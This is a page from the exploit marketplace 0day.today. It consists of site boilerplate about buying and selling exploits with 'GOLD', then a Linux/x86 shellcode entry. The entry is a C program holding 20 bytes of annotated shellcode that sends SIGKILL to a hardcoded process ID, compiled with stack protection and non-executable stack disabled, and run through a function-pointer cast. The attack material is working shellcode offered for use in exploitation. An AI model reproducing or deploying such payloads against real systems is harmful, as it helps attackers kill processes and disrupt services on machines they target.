0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux/x86 - Kill Process Shellcode (20 bytes)
/* Exploit Title: Kill PID shellcode Date: 07/09/2018 Exploit Author: Nathu Nandwani Platform: Linux/x86 Size: 20 bytes Compile: gcc -fno-stack-protector -z execstack killproc.c -o killproc */ #include <string.h> #include <stdio.h> int main() { unsigned short pid = 2801; char shellcode[] = "\x31\xc0" /* xor eax, eax */ "\xb0\x25" /* mov al, 0x25 - SYS_KILL */ "\x89\xc3" /* mov ebx, eax */ "\x89\xc1" /* mov ecx, eax */ "\x66\xbb" /* mov bx, ? */ "\xF1\x0A" /* bx <= pid => 2801 = 0x0AF1 */ "\xb1\x09" /* mov cl, 0x09 - SIGKILL */ "\xcd\x80" /* int 0x80 */ "\xb0\x01" /* mov al, 0x01 */ "\xcd\x80"; /* int 0x80 */ shellcode[10] = pid & 0xff; shellcode[11] = (pid >> 8) & 0xff; printf("Shellcode length: %d\n", strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret(); } # 0day.today [2024-09-28] #